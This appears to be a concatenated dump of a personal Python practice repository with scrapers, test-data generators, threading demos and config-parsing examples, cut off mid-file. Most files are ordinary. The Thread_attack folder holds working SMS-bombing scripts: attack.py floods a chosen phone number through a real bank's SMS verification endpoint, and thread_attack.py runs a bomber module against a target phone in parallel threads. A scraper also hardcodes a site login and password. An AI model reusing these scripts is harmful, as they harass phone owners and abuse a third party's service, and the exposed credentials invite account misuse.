html.xpath('/html/body/div[3]/div[2]/div[1]/div[2]/div/div[2]/form/div/ul/li[6]/span[@id="codeinfo"]/img/@src') 13 | # 14 | # url = "http://b.jowong.com" + a[0] 15 | # cookie = cookielib.CookieJar() 16 | # ir = requests.get(url) 17 | # picture = opener.open(CaptchaUrl).read() 18 | # f = open('valcode.png', 'wb') 19 | # f.write(ir.content) 20 | # print('../easy_img/logo.jpeg', sz, 'bytes') 21 | -------------------------------------------------------------------------------- /Spider/ticket_tour/tt.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | import requests 5 | from lxml import etree 6 | 7 | url = "http://b.jowong.com/login.do" 8 | 9 | 10 | 11 | payload = "usid=scctkj&url=%2Fprovider%2Fticket%2Findex.do&random=5947&password=321654" 12 | headers = { 13 | 'Content-Type': "application/x-www-form-urlencoded" 14 | } 15 | 16 | response = requests.request("POST", url, data=payload, headers=headers) 17 | 18 | print(response.text) 19 | 20 | # html = etree.HTML(response.text) 21 | # 22 | # while html.xpath('/html/head/title')[0] != "门票预订-阿坝旅游网": 23 | # random = raw_input("请输入验证码: ") 24 | # 25 | -------------------------------------------------------------------------------- /Spider/ticket_tour/valcode.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Alexanderklau/Amusing_python/9ce288eac7eeabb0e21f62936b6eb5ac2a0c934e/Spider/ticket_tour/valcode.png -------------------------------------------------------------------------------- /Test_data_generation/CN_name/simple_chinese_name.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | __author__ = 'yemilice_lau' -------------------------------------------------------------------------------- /Test_data_generation/Email_address/careat_email.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = 'Yemilice_lau' 4 | 5 | 6 | import random 7 | def RandomEmail( emailType=None, rang=None): 8 | __emailtype = ["@qq.com", "@163.com", "@126.com", "@189.com"] 9 | # 如果没有指定邮箱类型,默认在 __emailtype中随机一个 10 | if emailType == None: 11 | __randomEmail = random.choice(__emailtype) 12 | else: 13 | __randomEmail = emailType 14 | # 如果没有指定邮箱长度,默认在4-10之间随机 15 | if rang == None: 16 | __rang = random.randint(4, 10) 17 | else: 18 | __rang = int(rang) 19 | __Number = "0123456789qbcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPWRSTUVWXYZ" 20 | __randomNumber = "".join(random.choice(__Number) for i in range(__rang)) 21 | _email = __randomNumber + __randomEmail 22 | return _email 23 | print(RandomEmail()) 24 | print(RandomEmail(emailType='@qq.com',rang=20)) 25 | -------------------------------------------------------------------------------- /Test_data_generation/bank_card/chinese_bank_card.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | __author__ = 'yemilice_lau' 3 | """ 4 | 银行卡结构: 5 | XXXXXX XXXXXXXXXXXX X 6 | 发卡行标识代码 自定义位 校验码 7 | 8 | 发卡行标识代码: 9 | 银联标准卡以62开头,各银行再向银联进行卡BIN申请,如622848开头的卡为农行借记卡。 10 | 银联卡不都是以62开头,主要有2种情况。 11 | 第一种是双组织卡,如银联、运通双组织卡,一般以信用卡居多,如招行与运通合作的运通卡。 12 | 另外一种即早期以9开头的银行卡,这些卡都是国内自行分配的,仅限国内使用,无法与国际进行接轨 13 | 14 | 校验码算法: 15 | 校验码为银行卡号最后一位,采用LUHN算法,亦称模10算法。 16 | 17 | """ -------------------------------------------------------------------------------- /Test_data_generation/message/chinese_bank_card.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | __author__ = 'yemilice_lau' 3 | """ 4 | 银行卡结构: 5 | XXXXXX XXXXXXXXXXXX X 6 | 发卡行标识代码 自定义位 校验码 7 | 8 | 发卡行标识代码: 9 | 银联标准卡以62开头,各银行再向银联进行卡BIN申请,如622848开头的卡为农行借记卡。 10 | 银联卡不都是以62开头,主要有2种情况。 11 | 第一种是双组织卡,如银联、运通双组织卡,一般以信用卡居多,如招行与运通合作的运通卡。 12 | 另外一种即早期以9开头的银行卡,这些卡都是国内自行分配的,仅限国内使用,无法与国际进行接轨 13 | 14 | 校验码算法: 15 | 校验码为银行卡号最后一位,采用LUHN算法,亦称模10算法。 16 | 17 | """ -------------------------------------------------------------------------------- /Test_data_generation/message/example.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | __author__ = 'yemilice_lau' 3 | import random 4 | 5 | print random.randint(1, 10) 6 | # print random.choice(int(123)) 7 | x = ['123','333','666'] 8 | print '-'.join(x) 9 | 10 | from operator import mul 11 | print reduce(mul, range(1, 6)) 12 | 13 | -------------------------------------------------------------------------------- /Test_data_generation/message/simple_chinese_name.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | __author__ = 'yemilice_lau' -------------------------------------------------------------------------------- /Test_data_generation/message/test_bank_card.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | __author__ = 'yemilice_lau' 3 | 4 | import re 5 | import random, functools 6 | import collections 7 | 8 | with open('card_code') as file: 9 | data = file.read() 10 | distration = data.split('\n') 11 | card_message = random.choice(distration) 12 | message_list = re.split(r"\s+", card_message) 13 | if len(message_list) == 6: 14 | num = message_list[4] if message_list[4] else "None" # 取到银行卡位数(16,19) 15 | card_bin = message_list[5] if message_list[5] else "None" # 取到银行卡bin,发卡行标识代码(前六位) 16 | card_type = message_list[3] if message_list[3] else "None" # 取到银行卡类型(信用卡,储蓄卡) 17 | card_num = message_list[2] if message_list[2] else "None" # 取到银行卡名(牡丹卡,华西通等) 18 | card_bank = message_list[0] if message_list[0] else "None" # 银行卡发卡行(招商,工商) 19 | card_bank_custom_num = int(num) - 6 20 | card_bank_custom = functools.reduce(lambda x, y: 10 * x + y, 21 | [random.randint(1, card_bank_custom_num - 2) 22 | for x in range(card_bank_custom_num)]) 23 | bank_num = str(card_bin) + str(card_bank_custom) 24 | a = list(bank_num) 25 | even_num = a[1::2] # 计算校验码 26 | c = [] 27 | for i in even_num: 28 | c.append(int(i) * 2) 29 | x = (" ".join(str(i) for i in c)) 30 | print x 31 | z = [] 32 | for i in x: 33 | z.append(i) 34 | while ' ' in z: 35 | z.remove(' ') 36 | num = len(z) 37 | print num 38 | 39 | 40 | else: 41 | pass 42 | -------------------------------------------------------------------------------- /Thread_work/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Alexanderklau/Amusing_python/9ce288eac7eeabb0e21f62936b6eb5ac2a0c934e/Thread_work/.DS_Store -------------------------------------------------------------------------------- /Thread_work/Asynico_work/simple_asyncio.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = "lau.wenbo" 4 | 5 | 6 | import time 7 | import asyncio 8 | 9 | 10 | async def taskIO_1(): 11 | print('开始运行IO任务1...') 12 | await asyncio.sleep(3) # 假设该任务耗时2s 13 | print('IO任务1已完成,耗时3s') 14 | return taskIO_1.__name__ 15 | 16 | async def taskIO_2(): 17 | print('开始运行IO任务2...') 18 | await asyncio.sleep(3) # 假设该任务耗时3s 19 | print('IO任务2已完成,耗时3s') 20 | return taskIO_2.__name__ 21 | 22 | async def main(): # 调用方 23 | tasks = [taskIO_1(), taskIO_2()] # 把所有任务添加到task中 24 | done,pending = await asyncio.wait(tasks) # 子生成器 25 | for r in done: # done和pending都是一个任务,所以返回结果需要逐个调用result() 26 | print('协程无序返回值:'+r.result()) 27 | 28 | 29 | if __name__ == '__main__': 30 | start = time.time() 31 | loop = asyncio.get_event_loop() # 创建一个事件循环对象loop 32 | try: 33 | loop.run_until_complete(main()) # 完成事件循环,直到最后一个任务结束 34 | finally: 35 | loop.close() # 结束事件循环 36 | print('所有IO任务总耗时%.5f秒' % float(time.time()-start)) 37 | -------------------------------------------------------------------------------- /Thread_work/Asynico_work/yield_work.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = 'Yemilice_lau' 4 | 5 | import asyncio 6 | import time 7 | 8 | async def say_after(delay, what): 9 | await asyncio.sleep(delay) 10 | print(what) 11 | 12 | async def main(): 13 | print(f"started at {time.strftime('%X')}") 14 | 15 | await say_after(1, 'hello') 16 | await say_after(2, 'world') 17 | 18 | print(f"finished at {time.strftime('%X')}") 19 | 20 | asyncio.run(main()) 21 | 22 | -------------------------------------------------------------------------------- /Thread_work/Multithreading_work/first_thread.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = 'Yemilice_lau' 4 | 5 | import Queue 6 | import threading 7 | import time 8 | 9 | exitFlag = 0 10 | 11 | 12 | class myThread(threading.Thread): 13 | def __init__(self, threadID, name, q): 14 | threading.Thread.__init__(self) 15 | self.threadID = threadID 16 | self.name = name 17 | self.q = q 18 | 19 | def run(self): 20 | print "Starting " + self.name 21 | process_data(self.name, self.q) 22 | print "Exiting " + self.name 23 | 24 | 25 | def process_data(threadName, q): 26 | while not exitFlag: 27 | queueLock.acquire() 28 | if not workQueue.empty(): 29 | data = q.get() 30 | queueLock.release() 31 | print "%s processing %s" % (threadName, data) 32 | else: 33 | queueLock.release() 34 | time.sleep(1) 35 | 36 | 37 | threadList = ["Thread-1", "Thread-2", "Thread-3"] 38 | nameList = ["One", "Two", "Three", "Four", "Five"] 39 | queueLock = threading.Lock() 40 | workQueue = Queue.Queue(10) 41 | threads = [] 42 | threadID = 1 43 | 44 | # 创建新线程 45 | for tName in threadList: 46 | thread = myThread(threadID, tName, workQueue) 47 | thread.start() 48 | threads.append(thread) 49 | threadID += 1 50 | 51 | # 填充队列 52 | queueLock.acquire() 53 | for word in nameList: 54 | workQueue.put(word) 55 | queueLock.release() 56 | 57 | # 等待队列清空 58 | while not workQueue.empty(): 59 | pass 60 | 61 | # 通知线程是时候退出 62 | exitFlag = 1 63 | 64 | # 等待所有线程完成 65 | for t in threads: 66 | t.join() 67 | print "Exiting Main Thread" -------------------------------------------------------------------------------- /Thread_work/Multithreading_work/test_thread.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = 'Yemilice_lau' 4 | 5 | import thread 6 | from time import sleep, ctime 7 | 8 | loops = [4, 2] # 等待时间 9 | 10 | 11 | # 锁序号 等待时间 锁对象 12 | def loop(nloop, nsec, lock): 13 | print 'start loop', nloop, 'at:', ctime() 14 | sleep(nsec) 15 | print 'loop', nloop, 'done at:', ctime() 16 | lock.release() # 解锁 17 | 18 | 19 | def main(): 20 | print 'starting at:', ctime() 21 | locks = [] 22 | nloops = range(len(loops)) # 以loops数组创建列表并赋值给nloops 23 | 24 | for i in nloops: 25 | lock = thread.allocate_lock() # 创建锁对象 26 | lock.acquire() # 获取锁对象 加锁 27 | locks.append(lock) # 追加到locks[]数组中 28 | 29 | # 执行多线程 (函数名,函数参数) 30 | for i in nloops: 31 | thread.start_new_thread(loop, (i, loops[i], locks[i])) 32 | 33 | # 循环等待顺序检查每个所都被解锁才停止 34 | for i in nloops: 35 | while locks[i].locked(): 36 | pass 37 | 38 | print 'all end:', ctime() 39 | 40 | 41 | if __name__ == '__main__': 42 | main() -------------------------------------------------------------------------------- /Thread_work/Multithreading_work/thread_lock.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'Yemilice_lau' 3 | 4 | -------------------------------------------------------------------------------- /Thread_work/Queue_work/__pycache__/queue.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Alexanderklau/Amusing_python/9ce288eac7eeabb0e21f62936b6eb5ac2a0c934e/Thread_work/Queue_work/__pycache__/queue.cpython-37.pyc -------------------------------------------------------------------------------- /Thread_work/Thread_Work/Non_block.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = 'Yemilice_lau' 4 | 5 | """ 6 | 一个带锁的框架 7 | """ 8 | 9 | import threading 10 | import time 11 | 12 | count = 0 13 | 14 | 15 | # 做一个累加的函数 16 | def add_num(): 17 | global count 18 | if lock.acquire(): # 获得锁,并返回True 19 | tmp = count 20 | time.sleep(0.001) 21 | count = tmp + 1 22 | lock.release() # 执行完释放锁 23 | 24 | 25 | def run(add_fun): 26 | global count 27 | thread_list = [] 28 | 29 | # 累加100次 30 | for i in range(100): 31 | t = threading.Thread(target=add_fun) 32 | t.start() 33 | thread_list.append(t) 34 | 35 | for j in thread_list: 36 | j.join() 37 | 38 | print(count) 39 | 40 | 41 | if __name__ == '__main__': 42 | lock = threading.Lock() 43 | run(add_num) -------------------------------------------------------------------------------- /Thread_work/Thread_Work/Pro_Con_model.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = 'Yemilice_lau' -------------------------------------------------------------------------------- /Thread_work/Thread_Work/pool_lock.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = 'Yemilice_lau' 4 | 5 | 6 | """ 7 | 一个线程池框架 8 | """ 9 | 10 | from socket import AF_INET, SOCK_STREAM, socket 11 | from concurrent.futures import ThreadPoolExecutor 12 | 13 | 14 | # 假装跑一个服务器client 15 | def echo_client(sock, client_addr): 16 | ''' 17 | Handle a client connection 18 | ''' 19 | print('Got connection from', client_addr) 20 | while True: 21 | msg = sock.recv(65536) 22 | if not msg: 23 | break 24 | sock.sendall(msg) 25 | print('Client closed connection') 26 | sock.close() 27 | 28 | # 假装跑一个server 29 | def echo_server(addr): 30 | # 最大128 31 | pool = ThreadPoolExecutor(128) 32 | sock = socket(AF_INET, SOCK_STREAM) 33 | sock.bind(addr) 34 | sock.listen(5) 35 | while True: 36 | client_sock, client_addr = sock.accept() 37 | pool.submit(echo_client, client_sock, client_addr) 38 | 39 | echo_server(('',15000)) -------------------------------------------------------------------------------- /Thread_work/Thread_Work/queue_con_model.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = 'Yemilice_lau' 4 | 5 | import threading 6 | import time 7 | from queue import Queue 8 | 9 | 10 | queue = Queue(20) 11 | 12 | 13 | # 生产者 14 | def Producer(): 15 | i = 0 16 | print("开始线程") 17 | while True: 18 | i = i + 1 19 | print("生产数据", i, "现有数据", queue.qsize()) 20 | time.sleep(1) 21 | queue.put(i) 22 | 23 | # 消费者 24 | def Consumer(m): 25 | while True: 26 | i = queue.get() 27 | time.sleep(0.5) 28 | print("消费数据", i) 29 | 30 | 31 | if __name__ == "__main__": 32 | Th1 = threading.Thread(target=Producer, ) 33 | 34 | Th2 = threading.Thread(target=Consumer, args=(2, )) 35 | 36 | Th2.start() 37 | Th1.start() 38 | 39 | Th1.join() 40 | Th2.join() -------------------------------------------------------------------------------- /Thread_work/Thread_Work/simple_work.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = 'Yemilice_lau' 4 | 5 | """ 6 | 一个简单的Python多线程框架 7 | """ 8 | 9 | import threading 10 | import time 11 | 12 | exitFlag = 0 13 | 14 | class myThread (threading.Thread): 15 | 16 | def __init__(self, threadID, name, counter): 17 | threading.Thread.__init__(self) 18 | self.threadID = threadID 19 | self.name = name 20 | self.counter = counter 21 | 22 | def run(self): 23 | print ("开始线程:" + self.name) 24 | print_time(self.name, self.counter, 5) 25 | print ("退出线程:" + self.name) 26 | 27 | def print_time(threadName, delay, counter): 28 | while counter: 29 | if exitFlag: 30 | threadName.exit() 31 | time.sleep(delay) 32 | print ("%s: %s" % (threadName, time.ctime(time.time()))) 33 | counter -= 1 34 | 35 | # 创建新线程 36 | thread1 = myThread(1, "Thread-1", 1) 37 | thread2 = myThread(2, "Thread-2", 2) 38 | 39 | # 开启新线程 40 | thread1.start() 41 | thread2.start() 42 | 43 | thread1.join() 44 | thread2.join() 45 | print ("退出主线程") -------------------------------------------------------------------------------- /Thread_work/Thread_attack/attack.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = "lau.wenbo" 4 | 5 | 6 | import requests 7 | import time 8 | while True: 9 | print("请输入手机号",end=":") 10 | mobile=input() 11 | if len(mobile) != 11: #判断输入长度 12 | print("手机号码长度错误!") 13 | else: 14 | print("请输入轰炸次数", end=":") 15 | num = int(input()) 16 | print("你要轰炸",num,"次","马上开始!") 17 | i = 1 18 | while num > 0 : 19 | payload = {"AcNo":"","MobilePhone":"","BankId":"9999","Transaction":"CreditOnlineApplyCert","_locale":"zh_CN"} #构造关键字的字典 20 | payload["MobilePhone"]= mobile #添加字典内容 21 | url = "https://pbank.psbc.com/pweb/GetSmsForOutQuickPayment.do?" 22 | r = requests.get(url,params=payload) #开始get 并构造了url 23 | print("正在轰炸",mobile,",轰炸第",i,"次") 24 | num = num - 1 25 | i+=1 26 | time.sleep(0)# 间隔时间 27 | print("轰炸完成!") -------------------------------------------------------------------------------- /Thread_work/Thread_attack/geckodriver.log: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Alexanderklau/Amusing_python/9ce288eac7eeabb0e21f62936b6eb5ac2a0c934e/Thread_work/Thread_attack/geckodriver.log -------------------------------------------------------------------------------- /Thread_work/Thread_attack/thread_attack.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = "lau.wenbo" 4 | 5 | # encoding=utf8 6 | # attack.py 7 | from smsbomber import Bomber 8 | import threading 9 | 10 | def attack1(phone): 11 | func = ['func%d' %i for i in range(0,15)] 12 | for i in func: 13 | if hasattr(Bomber,i): 14 | try: 15 | getattr(Bomber(phone),i)() 16 | print '%s has excuted!' %i 17 | except: 18 | print '%s meet some problems!' %i 19 | continue 20 | else: 21 | print 'There is not %s' %i 22 | 23 | def attack2(phone): 24 | func = ['func%d' %i for i in range(15,30)] 25 | for i in func: 26 | if hasattr(Bomber,i): 27 | try: 28 | getattr(Bomber(phone),i)() 29 | print '%s has excuted!' %i 30 | except: 31 | print '%s meet some problems!' %i 32 | continue 33 | else: 34 | print 'There is not %s' %i 35 | 36 | def attack3(phone): 37 | func = ['func%d' %i for i in range(30,45)] 38 | for i in func: 39 | if hasattr(Bomber,i): 40 | try: 41 | getattr(Bomber(phone),i)() 42 | print '%s has excuted!' %i 43 | except: 44 | print '%s meet some problems!' %i 45 | continue 46 | else: 47 | print 'There is not %s' %i 48 | 49 | phone = raw_input('Who do you want to attack:').strip() 50 | # phone = '01234567890' 51 | thread1 = threading.Thread(target=attack1,name='thread1',args=(phone,)) 52 | thread2 = threading.Thread(target=attack2,name='thread2',args=(phone,)) 53 | thread3 = threading.Thread(target=attack3,name='thread3',args=(phone,)) 54 | # threading.current_thread().name 55 | thread1.start() 56 | thread2.start() 57 | thread3.start() 58 | thread1.join() 59 | thread2.join() 60 | thread3.join() 61 | print 'Good Bye!' -------------------------------------------------------------------------------- /Thread_work/Thread_run_test/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Alexanderklau/Amusing_python/9ce288eac7eeabb0e21f62936b6eb5ac2a0c934e/Thread_work/Thread_run_test/.DS_Store -------------------------------------------------------------------------------- /Thread_work/Thread_run_test/Thread_example.py: -------------------------------------------------------------------------------- 1 | # -*- coding=utf-8 -*- 2 | 3 | 4 | """ 5 | 每隔5秒输出本地时间到指定的文件 6 | path: /home/test.py 7 | """ 8 | 9 | import time 10 | 11 | 12 | filepath = 'test.log' # 文件路径 13 | fm = '%Y-%m-%d %X' 14 | 15 | def get_time(): 16 | while 1: 17 | nowtime = time.strftime(fm, time.localtime()) 18 | with open(filepath, 'a') as fp: 19 | fp.write(nowtime) 20 | fp.write('\n') 21 | time.sleep(5) 22 | if __name__ == '__main__': 23 | get_time() 24 | -------------------------------------------------------------------------------- /Thread_work/Thread_run_test/Thread_fork.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding=utf8 3 | 4 | import os, time 5 | 6 | # 创建子进程之前声明的变量 7 | source = 10 8 | 9 | try: 10 | pid = os.fork() 11 | 12 | if pid == 0: # 子进程 13 | print "这是子进程" 14 | # 在子进程中source自减1 15 | source = source - 1 16 | time.sleep(3) 17 | else: # 父进程 18 | print "这是父进程" 19 | 20 | print source 21 | except OSError, e: 22 | pass 23 | -------------------------------------------------------------------------------- /Thread_work/Thread_run_test/test.log: -------------------------------------------------------------------------------- 1 | 2018-02-04 16:36:50 2 | 2018-02-04 16:36:55 3 | -------------------------------------------------------------------------------- /Thread_work/Tread_monintor_cpu/thread_run.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | 4 | import os 5 | import time 6 | 7 | res = os.fork() 8 | print('res == %d'%res) 9 | if res == 0: 10 | print('我是子进程,我的pid是:%d,我的父进程id是:%d'%(os.getpid(),os.getppid())) 11 | else: 12 | print('我是父进程,我的pid是:%d'%os.getpid()) -------------------------------------------------------------------------------- /Time_work/function_timeout/Decorator.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'Yemilice_lau' 3 | 4 | from threading import Thread 5 | import time 6 | 7 | class TimeoutException(Exception): 8 | pass 9 | 10 | 11 | ThreadStop = Thread._Thread__stop 12 | 13 | 14 | def timelimited(timeout): 15 | def decorator(function): 16 | def decorator2(*args, **kwargs): 17 | class TimeLimited(Thread): 18 | def __init__(self, _error=None, ): 19 | Thread.__init__(self) 20 | self._error = _error 21 | 22 | def run(self): 23 | try: 24 | self.result = function(*args, **kwargs) 25 | except Exception as e: 26 | self._error = str(e) 27 | 28 | def _stop(self): 29 | if self.isAlive(): 30 | ThreadStop(self) 31 | 32 | t = TimeLimited() 33 | t.start() 34 | t.join(timeout) 35 | 36 | if isinstance(t._error, TimeoutException): 37 | t._stop() 38 | raise TimeoutException('timeout for %s' % (repr(function))) 39 | 40 | if t.isAlive(): 41 | t._stop() 42 | raise TimeoutException('timeout for %s' % (repr(function))) 43 | if t._error is None: 44 | return t.result 45 | else: 46 | raise TypeError 47 | 48 | return decorator2 49 | 50 | return decorator 51 | 52 | @timelimited(1) 53 | def fun(): 54 | time.sleep(3) 55 | 56 | if __name__ == "__main__": 57 | try: 58 | fun() 59 | except Exception as e: 60 | print("timeout!") 61 | -------------------------------------------------------------------------------- /Time_work/function_timeout/signal_test.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'Yemilice_lau' 3 | 4 | import signal 5 | 6 | 7 | def time_limit(interval): 8 | def wraps(func): 9 | def handler(): 10 | raise RuntimeError() 11 | 12 | def deco(*args, **kwargs): 13 | signal.signal(signal.SIGALRM, handler) 14 | signal.alarm(interval) 15 | res = func(*args, **kwargs) 16 | signal.alarm(0) 17 | return res 18 | 19 | return deco 20 | 21 | return wraps 22 | -------------------------------------------------------------------------------- /Time_work/function_timeout/simple_timeout.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'Yemilice_lau' 3 | 4 | 5 | from threading import Timer 6 | 7 | def time_limit(interval): 8 | def wraps(func): 9 | def time_out(): 10 | raise RuntimeError() 11 | 12 | def deco(*args, **kwargs): 13 | timer = Timer(interval, time_out) 14 | timer.start() 15 | res = func(*args, **kwargs) 16 | timer.cancel() 17 | return res 18 | return deco 19 | return wraps -------------------------------------------------------------------------------- /Unit_test/Test_api/thread_api.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | 5 | import requests 6 | import json 7 | import random 8 | from multiprocessing import Pool,Manager,Lock 9 | import multiprocessing 10 | 11 | 12 | def register(sucess_count,failure_count,lock): 13 | data= {'username': 'test' + str(random.randint(100, 999)), 'password': 'wcx123wac', 'email': 'abc@qq.com'} 14 | data=json.dumps(data) 15 | r=requests.post('http://39.106.41.11:8080/register/', data = data) 16 | code=r.status_code 17 | print r.json() 18 | if r.json()['code']=='00': 19 | with lock: 20 | sucess_count.value+=1 21 | else: 22 | lock.acquire() 23 | failure_count.value += 1 24 | lock.release() 25 | if __name__=='__main__': 26 | manager=Manager() 27 | lock=manager.Lock() 28 | sucess_count=manager.Value('i',0) 29 | failure_count=manager.Value('i',0) 30 | p=Pool() 31 | for i in range(multiprocessing.cpu_count()): 32 | p.apply_async(register,args=(sucess_count,failure_count,lock)) 33 | p.close() 34 | p.join() 35 | print '注册成功次数为:',sucess_count.value 36 | print '注册失败次数为:', failure_count.value 37 | -------------------------------------------------------------------------------- /Unit_test/analysis_file/__init__.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' -------------------------------------------------------------------------------- /Unit_test/analysis_file/read_conf_file/__init__.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' -------------------------------------------------------------------------------- /Unit_test/analysis_file/read_conf_file/read_conf_file.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | 5 | # import ConfigParser 6 | # 7 | # 8 | # cf = ConfigParser.RawConfigParser() 9 | # 10 | # print "use RawConfigParser() read" 11 | # cf.read("test2.conf") 12 | # print cf.get("portal", "url") 13 | # 14 | # print "use RawConfigParser() write" 15 | # cf.set("portal", "url2", "%(host)s:%(port)s") 16 | # print cf.get("portal", "url2") 17 | 18 | 19 | import ConfigParser 20 | 21 | cf = ConfigParser.ConfigParser() 22 | 23 | print "use ConfigParser() read" 24 | cf.read("test2.conf") 25 | print cf.get("portal", "url") 26 | 27 | print "use ConfigParser() write" 28 | cf.set("portal", "url2", "%(host)s:%(port)s") 29 | print cf.get("portal", "url2") -------------------------------------------------------------------------------- /Unit_test/analysis_file/read_conf_file/read_conf_file1.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | import ConfigParser 5 | import string, os, sys 6 | 7 | cf = ConfigParser.ConfigParser() 8 | 9 | cf.read("test.conf") 10 | 11 | # return all section 12 | secs = cf.sections() 13 | print 'sections:', secs 14 | 15 | opts = cf.options("db") 16 | print 'options:', opts 17 | 18 | kvs = cf.items("db") 19 | print 'db:', kvs 20 | 21 | # read by type 22 | db_host = cf.get("db", "db_host") 23 | db_port = cf.getint("db", "db_port") 24 | db_user = cf.get("db", "db_user") 25 | db_pass = cf.get("db", "db_pass") 26 | 27 | # read int 28 | threads = cf.getint("concurrent", "thread") 29 | processors = cf.getint("concurrent", "processor") 30 | 31 | print "db_host:", db_host 32 | print "db_port:", db_port 33 | print "db_user:", db_user 34 | print "db_pass:", db_pass 35 | 36 | print "thread:", threads 37 | print "processor:", processors 38 | 39 | # modify one value and write to file 40 | cf.set("db", "db_pass", "xgmtest") 41 | cf.write(open("test.conf", "w")) -------------------------------------------------------------------------------- /Unit_test/analysis_file/read_conf_file/test.conf: -------------------------------------------------------------------------------- 1 | [db] 2 | db_port = 3306 3 | db_user = root 4 | db_host = 127.0.0.1 5 | db_pass = xgmtest 6 | 7 | [concurrent] 8 | processor = 20 9 | thread = 10 10 | 11 | -------------------------------------------------------------------------------- /Unit_test/analysis_file/read_conf_file/test2.conf: -------------------------------------------------------------------------------- 1 | [portal] 2 | url = http://%(host)s:%(port)s/Portal 3 | host = localhost 4 | port = 8080 -------------------------------------------------------------------------------- /Unit_test/example/ep.py: -------------------------------------------------------------------------------- 1 | def add(a, b): 2 | return a+b 3 | 4 | def minus(a, b): 5 | return a-b 6 | 7 | def multi(a, b): 8 | return a*b 9 | 10 | def divide(a, b): 11 | return a/b 12 | -------------------------------------------------------------------------------- /Unit_test/example/test.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | import time 5 | 6 | c = [] 7 | a = dict() 8 | for i in range(1,10): 9 | e = i 10 | 11 | for x in range(1, 10): 12 | print(e + x) -------------------------------------------------------------------------------- /Unit_test/example/test_ep.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | import unittest 4 | from ep import add, minus, multi, divide 5 | 6 | 7 | class TestMathFunc(unittest.TestCase): 8 | """Test mathfuc.py""" 9 | 10 | 11 | def test_add(self): 12 | """Test method add(a, b)""" 13 | self.assertEqual(3, add(1, 2)) 14 | self.assertNotEqual(3, add(2, 2)) 15 | 16 | def test_minus(self): 17 | """Test method minus(a, b)""" 18 | self.assertEqual(1, minus(3, 2)) 19 | 20 | def test_multi(self): 21 | """Test method multi(a, b)""" 22 | self.assertEqual(6, multi(2, 3)) 23 | 24 | def test_divide(self): 25 | """Test method divide(a, b)""" 26 | self.assertEqual(2, divide(6, 3)) 27 | self.assertEqual(2.5, divide(5, 2)) 28 | if __name__ == '__main__': 29 | unittest.main() 30 | -------------------------------------------------------------------------------- /Unit_test/test_project/1.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | record = '....................100 .......513.25 ..........' 5 | cost = int(record[20:23]) * float(record[31:37]) 6 | print(cost) -------------------------------------------------------------------------------- /Unit_test/unit.md: -------------------------------------------------------------------------------- 1 | # 单元测试脚本 -------------------------------------------------------------------------------- /Work_project/EXCEL/New_create_excel/create_excel.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = 'lau.wenbo' 4 | 5 | 6 | import xlwt 7 | from xlwt import Workbook 8 | import create_work 9 | 10 | 11 | book = Workbook(encoding='utf-8') 12 | 13 | sheet1 = book.add_sheet('data') 14 | 15 | def get_month_day(month, year): 16 | if month in (1, 3, 5, 7, 8, 10, 12): 17 | days = 31 18 | elif month in (4, 6, 9, 11): 19 | days = 30 20 | elif month == 2: 21 | if (year % 4 == 0 and year % 100 != 0) or (year % 400 == 0): 22 | days = 29 23 | else: 24 | days = 28 25 | else: 26 | return 27 | 28 | return days 29 | 30 | def create_column(day): 31 | sheet1.write(0,0,u"名字") 32 | for i in range(1, int(day) + 1): 33 | sheet1.write(0,i,i) 34 | sheet1.write(0,int(day+1),u'迟到早退') 35 | 36 | book.save('simple.xls') 37 | 38 | def create_name(name_list): 39 | z = [i for i in name_list] 40 | x = [i for i in range(1, len(name_list) + 